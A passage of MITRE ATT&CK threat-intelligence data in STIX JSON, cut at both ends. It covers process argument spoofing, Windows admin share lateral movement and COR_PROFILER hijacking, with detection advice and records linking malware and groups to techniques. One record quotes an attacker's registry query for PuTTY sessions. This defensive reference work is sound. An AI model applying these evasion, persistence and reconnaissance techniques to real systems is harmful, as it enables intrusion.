Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", "type": "attack-pattern", "created": "2017-05-31T21:31:00.200Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1077", "url": "https://attack.mitre.org/techniques/T1077"}, {"external_id": "CAPEC-561", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/561.html"}, {"url": "https://en.wikipedia.org/wiki/Server_Message_Block", "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.", "source_name": "Wikipedia SMB"}, {"url": "https://technet.microsoft.com/en-us/library/cc787851.aspx", "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", "source_name": "TechNet RPC"}, {"url": "http://support.microsoft.com/kb/314984", "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.", "source_name": "Microsoft Admin Shares"}, {"url": "https://technet.microsoft.com/bb490717.aspx", "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", "source_name": "Technet Net Use"}, {"url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts", "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.", "source_name": "Lateral Movement Payne"}, {"url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem", "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.", "source_name": "Windows Event Forwarding Payne"}, {"source_name": "Medium Detecting Lateral Movement", "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc", "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}], "modified": "2020-03-23T19:54:12.651Z", "name": "Windows Admin Shares", "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting Lateral Movement)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator"], "x_mitre_system_requirements": ["File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jesse Brown, Red Canary"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", "type": "attack-pattern", "created": "2020-06-24T22:30:55.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1574.012", "url": "https://attack.mitre.org/techniques/T1574/012"}, {"source_name": "Microsoft Profiling Mar 2017", "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview", "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."}, {"source_name": "Microsoft COR_PROFILER Feb 2013", "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)", "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."}, {"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}, {"source_name": "Red Canary COR_PROFILER May 2020", "url": "https://redcanary.com/blog/cor_profiler-for-persistence/", "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."}, {"source_name": "Almond COR_PROFILER Apr 2019", "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html", "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."}, {"source_name": "GitHub OmerYa Invisi-Shell", "url": "https://github.com/OmerYa/Invisi-Shell", "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."}, {"source_name": "subTee .NET Profilers May 2017", "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html", "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."}], "modified": "2021-08-30T21:35:12.049Z", "name": "COR_PROFILER", "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Module: Module Load", "Command: Command Execution"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00038d0e-7fc7-41c3-9055-edb4d87ea912", "type": "relationship", "created": "2021-04-27T01:56:35.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}], "modified": "2021-04-27T01:56:35.810Z", "description": " [Explosive](https://attack.mitre.org/software/S0569) has collected the MAC address from the victim's machine.(Citation: CheckPoint Volatile Cedar March 2015) ", "relationship_type": "uses", "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0005fb3b-274a-4ac1-8fb2-51366fcd1a6b", "created": "2023-09-01T21:33:59.394Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-01T21:33:59.394Z", "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00069454-a469-4905-97fd-b4057e86d29b", "type": "relationship", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.834Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--000aa4d0-315e-40d7-b2b6-76e91ecf0fe8", "type": "relationship", "created": "2021-09-15T18:02:37.631Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec WastedLocker June 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}], "modified": "2021-09-15T18:02:37.631Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) used [Cobalt Strike](https://attack.mitre.org/software/S0154) to carry out credential dumping using ProcDump.(Citation: Symantec WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--00192a5f-9dc0-445a-b010-d77bd08aac93", "type": "relationship", "created": "2021-05-26T14:50:00.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}, {"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "CISA AR21-126A FIVEHANDS May 2021", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}], "modified": "2021-06-08T13:29:06.838Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) can SSL encrypt C2 traffic.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--001ecf24-8276-40d2-ba05-2d20e5c53ec9", "type": "relationship", "created": "2021-03-26T16:48:31.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-03-26T16:48:31.963Z", "description": "[GoldFinder](https://attack.mitre.org/software/S0597) performed HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request traveled through.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--b7010785-699f-412f-ba49-524da6033c76", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--002142e4-3942-4c6d-913d-814c1fc93380", "created": "2022-04-14T16:36:05.395Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Periodically baseline instances to identify malicious modifications or additions.", "modified": "2022-04-14T16:36:05.395Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--45fd904d-6eb0-4b50-8478-a961f09f898b", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0023f0a7-26ae-40ec-ac6e-9dacf5217fb9", "type": "relationship", "created": "2021-05-17T19:42:12.789Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.353Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) has the ability to accept a value for HTTP Host Header to enable domain fronting.(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "source_name": "Palo Alto Shamoon Nov 2016"}, {"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}], "modified": "2020-05-29T18:11:24.446Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the system time and will only activate if it is greater than a preset date.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--002c9202-d7a0-4181-b912-42f7d6d38339", "type": "relationship", "created": "2019-01-29T21:47:53.704Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Micropsia June 2017", "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html", "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."}, {"source_name": "Radware Micropsia July 2018", "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.904Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) gathers the hostname and OS version from the victim\u2019s machine.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--002e561a-5500-4293-a876-01e8205a67c8", "created": "2023-07-12T19:27:33.392Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-22T20:21:26.163Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used SSH tunneling in targeted environments.(Citation: Crowdstrike TELCO BPO Campaign December 2022)", "relationship_type": "uses", "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--002f1039-f4c5-4c60-b8ac-ced374bec2ac", "created": "2023-02-23T18:13:00.492Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T15:59:30.201Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has used an unnamed post-exploitation tool to steal cookies from the Chrome browser.(Citation: Kaspersky LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0032f447-1ab7-427d-b7ae-baa436dc2411", "created": "2022-09-27T17:52:38.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-07T20:41:51.144Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors executed `/c cd /d c:\\windows\\temp\\ & reg query HKEY_CURRENT_USER\\Software\\<username>\\PuTTY\\Sessions\\` to detect recent PuTTY sessions, likely to further lateral movement.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0038b0b8-f51c-4fd1-8b04-2fd7ebd1d61d", "created": "2023-08-07T16:03:40.742Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.642Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has created local administrator accounts to maintain persistence in compromised networks.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--003eed51-a560-44f1-9149-5a11bdaebe6f", "created": "2023-08-01T18:37:47.502Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T07:45:39.054Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can check a user's access to the C$ share on a compromised machine.(Citation: BitDefender BADHATCH Mar 2021) ", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--003f23dd-24c7-4b3b-b703-0bf081d638f4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. 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Retrieved March 8, 2021."}], "modified": "2021-03-12T16:30:52.475Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) has used scheduled tasks to maintain persistence.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--005cbf7d-9d0b-443b-91db-7b148a1eb55b", "type": "relationship", "created": "2019-06-05T14:33:01.097Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis njRAT June 2013", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "description": "Fidelis Cybersecurity. (2013, June 28). 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Operation Wilted Tulip: Exposing a cyber espionage apparatus. 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(2019, April 2). 